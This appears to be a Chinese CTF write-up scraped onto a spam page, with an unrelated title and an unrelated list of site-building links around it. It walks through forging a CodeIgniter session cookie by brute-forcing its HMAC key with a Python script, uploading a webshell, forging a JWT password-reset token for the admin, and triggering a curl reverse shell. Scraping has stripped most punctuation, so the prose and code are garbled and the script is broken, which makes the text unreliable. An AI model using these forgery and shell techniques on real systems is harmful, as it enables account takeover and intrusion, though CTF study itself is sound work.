当前位置: 首页 > news >正文

培训网站开发哪个好手机网站建设维护

培训网站开发哪个好,手机网站建设维护,南宁中考招生信息网,斌果主题wordpress目录 前言 baby-Codeigniter 组合拳#xff01; 前言 本想着说看看go的gin框架就睡了的#xff0c;r3师傅提醒说赛题环境已经上了#xff0c;那不赶紧研究下#x1f600; 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是#xff1a;“什么是C…目录 前言 baby-Codeigniter 组合拳 前言 本想着说看看go的gin框架就睡了的r3师傅提醒说赛题环境已经上了那不赶紧研究下 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是“什么是Codeigniter”接着自然会去面向搜索引擎解题 在那之前我们可以做到一些有限的事 弱口令admin 123456登录成功 但权限不够需要super administor自然的我们会去看cookie url解码后是一段有意义的键值对hash值 尝试将0改为1(false-true)并urlencode还原 然未果显然结尾的hash部分是鉴权的关键具体的密钥、算法这些我们都不知道需要借助搜索引擎。但大方向我们基本可以确定是session伪造了 很容易搜出P牛文章 客户端 session 导致的安全问题 | 离别歌 接着就顺藤摸瓜找到爆破secretkey的 https://github.com/Dionach/CodeIgniterXor 但并不能爆出来然后当时就卡死了啊哈哈( 后来询问出题人说用的那套源码不是xor加密而是hash_hmac加密前者是更低版本的加密方式 歪日可是也没给我源码啊QWQ( 不妨在此处下个断言“在拿到源码的条件下只要验证信息存储在了客户端而非服务端都有伪造的可能。” 审计源码找到set_cookie的逻辑 function _set_cookie($cookie_data NULL) { if (is_null($cookie_data)) { $cookie_data $this-userdata; } // Serialize the userdata for the cookie $cookie_data $this-_serialize($cookie_data); if ($this-sess_encrypt_cookie TRUE) { $cookie_data $this-CI-encrypt-encode($cookie_data); } $cookie_data . hash_hmac(sha1, $cookie_data, $this-encryption_key); $expire ($this-sess_expire_on_close TRUE) ? 0 : $this-sess_expiration time(); // Set the cookie setcookie( $this-sess_cookie_name, $cookie_data, $expire, $this-cookie_path, $this-cookie_domain, $this-cookie_secure ); 函数名为 _set_cookie它接受一个可选参数 $cookie_data用于指定要存储在 cookie 中的会话数据。如果没有提供 $cookie_data 参数函数将使用类属性 $this-userdata 中的数据。接下来会话数据被序列化以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据所以需要序列化对象或数组等非字符串数据。如果配置中设置了 sess_encrypt_cookie 为 TRUE则会话数据会被加密。这通常用于提高安全性以防止会话数据被篡改。接着会话数据被附加上一个 HMACHash-based Message Authentication Code以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。过期时间 expire 被设置为 $this-sess_expire_on_close 为 TRUE 时为 0否则为当前时间加上会话过期时间。最后使用 setcookie 函数来设置 cookie包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。 显然靶机这里sess_encrypt_cookie为false那就好办了我们可以用爆破的方式来反向推出密钥 根据上述逻辑交给gpt去写爆破脚本 import hmac import urllib.parse import hashlib import timedef EncryCookie(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40cookie cookie[:cookielen].replace(superadmin;b:0;},superadmin;b:1;})hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookiehmacstr)def CrackSecret(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40hmac_check cookie[cookielen:]cookie cookie[:cookielen]hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return hmac_check hmacstrif __name__ __main__:cookie a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0%28WindowsNT10.0%3BWin64%3Bx64%29AppleWebKit%2F537.36%28KHTML%2ClikeGecko%29Chrome%2F123.0.0.0Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040secrets []with open(secret.txt) as f:secrets f.readlines()starttimetime.time()for secret in secrets:secretsecret.strip(\n)result CrackSecret(cookie,secret)if result True:print([]Success:secret)encrycookieEncryCookie(cookie,secret)print(encrycookie)exit(0)else:print([-]Test:secret) 成功爆破出密钥为123456并拿到伪造的session 带着修改的cookie上传shell 连蚁剑拿flag 组合拳 进来弱口令没爆出admin然后注册个账号尝试登录显示权限过低这不一眼垂直越权 还没登录进去自然也就没有cookie不能直接伪造 那咋整呢可以去研究下“忘记密码”功能 拿到一段重置密码的url http://node6.anna.nssctf.cn:28537/#/reset_token?email2113566520qq.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA 分为两部分第一部分是email地址第二部分是一段jwt的token 关于管理员email地址可以扫一下目录 访问/.well-known/security.txt 得知管理员邮箱为Administrator163.com 访问/README.md不知道有啥用 搞定了email的问题我们下面重点关注token 直接拖到jwt.io里去解密很明显要把name和email分别改成admin和Administrator163.com jwt的密钥用jwtcrack来爆破就行得到是APjT 再伪造下jwt 访问url http://node6.anna.nssctf.cn:28537/#/reset_token?emailAdministrator163.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI 重置好了密码为123456 输入admin 123456成功登录 更多功能-资源下载 对任务内容base64解码后为print(hello world)是一段py代码 我们只要给恶意命令base64编码然后更新任务即可但抽象的是更新的间隙足足有864000秒即24小时而且貌似前端还改不来 提交也抓不来包只能审js了(这里真的很不擅长只能跟着官方wp走了 其给出的合理说法是每当更新任务时都会调用getKey 其响应体为 关键词搜索keycode 这里的逻辑是判断keycode是否为字符串是就跳转到 case 11 分支 在return处下断点 可以看到最后的返回值就是n和o的异或的结果这个我们不必在意只要知道与二者都相关就可 将反弹shell命令base64编码(经过询问出题人直接nc或bash靶机都不支持只能curl了) 用这个网站来弹 https://your-shell.com/ 在此处下断点可以操作局部变量n 控制台改n的值令time为1 继续跟几步可以看到成功修改了time  成功执行命令反弹shell拿到flag
http://www.hkea.cn/news/14489535/

相关文章:

  • 用二级页面做网站的源代码龙岩百度贴吧
  • 网站备案期间能使用吗百度只收录wordpress
  • 做策划有帮助的网站闵行区做网站
  • 成都网站推广公司排名建筑人才网首页
  • 做饰品一般用什么网站做首饰linux安装wordpress无法访问
  • 网站 建设wordpress百度主动
  • 吕梁seo网站建设做网站花的钱和优化网站有关系吗
  • 中国建设会计学会网站国内特效比漂亮的网站
  • 黄金网站网址免费网站空间单位
  • 博客网站开发视频html语言做网站
  • 泸州网站优化推广百度搜索引擎提交入口
  • 做啤酒纸箱包装的网站网站导购话术
  • 网站主机建设方案手机网站打开很慢
  • 如何做网站弹窗广告南宁老牌网站建设公司
  • 云建网站网址广安网站制作设计
  • 大连网站在哪备案amh安装wordpress
  • 哈尔滨网站开发企业做企业网站要不要我们自己提供网站相关的图片?
  • 建站平台的基础概念长春市做网站哪家好
  • 在ps中做网站首页的尺寸wordpress内页无法打开
  • 外贸网站制作广州司法行政网站建设目的
  • 手表网网站wordpress emlog
  • 网站建设 杭州上海专业页面设计模型设计
  • 网站开发有什么好的命题湖南响应式官网建设哪里有
  • 在线数据分析网站建设集团网站方案设计
  • 公司做网站需要哪些资料比特币网站建设
  • 2015年全球网站优秀设计师网站建设对我有什么好处
  • 北京南站到北京站坐地铁几号线常州市建设局网站电话
  • 给别人做网站别人违法经营6国内专业的网站建设
  • wordpress七牛云储存怎么湖南正规竞价优化公司
  • 网站开发建设哪家好外贸网站平台都有哪些平台